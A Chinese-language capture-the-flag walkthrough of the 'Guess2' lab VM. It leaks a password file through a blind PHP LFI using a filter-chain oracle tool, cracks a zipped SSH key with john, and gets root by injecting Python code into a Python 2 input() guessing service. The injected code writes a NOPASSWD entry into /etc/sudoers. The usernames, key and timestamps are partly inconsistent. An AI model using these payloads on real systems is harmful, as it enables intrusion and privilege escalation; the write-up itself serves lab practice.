

Guess2

信息搜集

端口扫描

```
└─(root@kali)-[~]
└─# nmap 192.168.0.107 -p- -sV -sC -T4
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-17 04:44 EDT
Nmap scan report for bogon (192.168.0.107)
Host is up (0.00047s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4
80/tcp    open  http     nginx
MAC Address: 08:00:27:23:37:53 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
```

只开放了 22 和 80 两个端口。

Web 服务探测

访问 `http://192.168.0.107/`，直接爆源码：

```
└─(root@kali)-[~]
└─# curl -s http://192.168.0.107/
<?php
# file: /opt/pass.txt
# hint: OSINT、hash_kitten、Oracle、filter
highlight_file(__FILE__);
@file($_POST[0]);
```

代码很短，只有两行有效逻辑：

- `highlight_file(__FILE__)` — 高亮显示当前文件源码（这就是浏览器直接看到源码的原因）
- `@file($_POST[0])` — 用 POST 参数 0 作为路径去读文件，@ 抑制报错，但返回值没有 echo，看不见内容

注释里的提示：

提示词	含义
OSINT	公开情报，信息能在网上搜到
hash_kitten	安全研究员，PHP Filter Chain Oracle 技术的发现者
Oracle	盲注 Oracle，靠服务器行为差异逐字节猜数据
filter	php://filter 伪协议

漏洞定位：这是一个盲 LFI——`file()` 会读文件但不输出，需要 Oracle 技术来逐字节把文件内容"问"出来。

PHP Filter Chain Oracle 读文件

原理

hash_kitten 在 DownUnderCTF 2022 公开的技术，Synacktiv 后来武器化了。

核心思路：用 `php://filter` 层层套娃构造字符编码转换链，让 PHP 在处理文件内容时要么正常返回（200）要么内存撑爆（500 Fatal Error），然后把这两种状态当布尔 Oracle，一个字节一个字节地把文件内容推断出来。

具体做法：

1. `convert.base64-encode` → 把文件内容变 base64（字符集缩小到 A-Za-z0-9+/）
2. `convert.iconv.UTF-8.UTF-32` 反复套 → 指数级放大字符串体积
3. `dechunk` + 字符集 swap → 精确控制前缀字节
4. 看服务器是否 500 → 是/否 → 当前字符判定

工具

```
└─(root@kali)-[~/tmp/php_filter_chains_oracle_exploit]
└─# python3 filters_chain_oracle_exploit.py \
  --target http://192.168.0.107/ \
  --file '/opt/pass.txt' \
  --parameter 0 \
  --verb POST
[*] The following URL is targeted : http://192.168.0.107/
[*] The following local file is leaked : /opt/pass.txt
[*] Running POST requests
[+] File /opt/pass.txt leak is finished!
bGwxMDQ1Njc6TTVDZjRqdTduV1JuWE1aekdkc3ck
b'11104567:M5cf4ju7nWRnXMzzGdsw\n'
```

SSH 登录

```
└─(root@kali)-[~/tmp]
└─# ssh 11104567@192.168.0.107
11104567@192.168.0.107's password: M5cf4ju7nWRnXMzzGdsw
11104567@Guess2:~$ id
uid=1000(11104567) gid=1000(11104567) groups=1000(11104567)
```

11104567 → yepian

opt目录下还有一个backup.zip文件，尝试解压发现需要密码

```
└─(root@kali)-[~/tmp]
└─# unzip backup.zip
Archive:  backup.zip
[backup.zip] id_ed25519 password:
```

拿到本地john爆破一下

```
└─(root@kali)-[~/tmp]
└─# zip2john backup.zip > backup_hash.txt
```

```
└─(root@kali)-[~/tmp]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt backup_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
*****          (backup.zip/id_ed25519)
1g 0:00:00:00 DONE (2026-07-17 04:35) 7.692g/s 189046p/s 189046c/s 189046C/s
christal..280789
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

```

└─(root@kali)-[~/tmp]
└─# cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3B1bnZaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACAP9vyztX1nMwcjUj2itsFIut4l6K2gs6nmRdbEnshjKwAAAJA+3HNfPtxz
XwAAAAtzc2gtZWQyNTUxOQAAACAP9vyztX1nMwcjUj2itsFIut4l6K2gs6nmRdbEnshjKw
AAAEApkQy9NbmcVZkdVc4ACXO8GKj1V4ERQwimYzMja4H17g/2/L0lfcwzByNSpAK1Iui6
3ixoraCzqeZF1sSeyGMrAAAADX1lcG1hbkbBHDwVzcZI=
-----END OPENSSH PRIVATE KEY-----

└─(root@kali)-[~/tmp]
└─# ssh-keygen -l -f id_ed25519
256 SHA256:vLMH5sjmBDiAtybv0pC+VeusvQwL2JeSPaiU6sPsnYk yepian@Guess2 (ED25519)

```



```
yepian@Guess2:~$ echo "50" | busybox nc 127.0.0.1 2026
=== Guess Number Game ===
I'm thinking of a number between 0 and 200
You have 10 chances. Good luck!

[1/10] Enter your guess: Too big!
[2/10] Enter your guess: Invalid input! Please enter a number.
...
Game over! The number was 16
Better luck next time!
```

一个猜数字游戏，0-200 范围，10 次机会。输入 50 返回 "Too big!"，说明服务正常处理了输入。

漏洞分析

两个关键信息结合：

1. 进程命令行：`/usr/local/bin/python2 /root/guess.py — Python 2`
2. 用户输入被直接处理判断大小

Python 2 的 `input()` 函数行为跟 Python 3 完全不同：

	Python 2	Python 3
危险函数	<code>input() = eval(raw_input())</code>	<code>eval(input())</code> 需显式调用
安全函数	<code>raw_input()</code> 返回字符串	<code>input()</code> 返回字符串（安全）

如果 `/root/guess.py` 用 `input()` 读用户猜测，输入会被 `eval` 直接求值。传 Python 代码进去就会以 **root 身份** 执行。

漏洞验证

用 nc 手动发 payload：

```
yepian@Guess2:~$ echo "__import__('os').system('id > /tmp/pwned.txt')" \
| busybox nc 127.0.0.1 2026
=== Guess Number Game ===
I'm thinking of a number between 0 and 200
You have 10 chances. Good luck!

[1/10] Enter your guess: Too small!
[2/10] Enter your guess: Invalid input! Please enter a number.
[3/10] Enter your guess: Invalid input! Please enter a number.
[4/10] Enter your guess: Invalid input! Please enter a number.
[5/10] Enter your guess: Invalid input! Please enter a number.
[6/10] Enter your guess: Invalid input! Please enter a number.
[7/10] Enter your guess: Invalid input! Please enter a number.
[8/10] Enter your guess: Invalid input! Please enter a number.
[9/10] Enter your guess: Invalid input! Please enter a number.
[10/10] Enter your guess: Invalid input! Please enter a number.
Game over! The number was 124
Better luck next time!
^

yepian@Guess2:/tmp$ cat pwned.txt
```

```
uid=0(root) gid=0(root) groups=0(root)
```

命令以 root 身份执行了。

提权利用

现在有ll104567用户的密码，尝试但是ll104567用户没有sudo权限，就写入一个sudo权限

```
yepian@Guess2:~$ echo "__import__('os').system('echo \"ll104567 ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers')\" | busybox nc 127.0.0.1 2026

ll104567@Guess2:/tmp$ sudo -l
Matching Defaults entries for ll104567 on Guess2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User ll104567 may run the following commands on Guess2:
    (ALL) NOPASSWD: ALL

ll104567@Guess2:~$ sudo su
root@Guess2:/home/ll104567# id
uid=0(root) gid=0(root) groups=0(root)
```

Flag

```
root@Guess2:~# cat root.txt /home/yepian/user.txt
flag{root-b371b86c0a18386c23a7480a739f76eb}
flag{user-7330f29a39ced87e2006a10ae82684ca}
```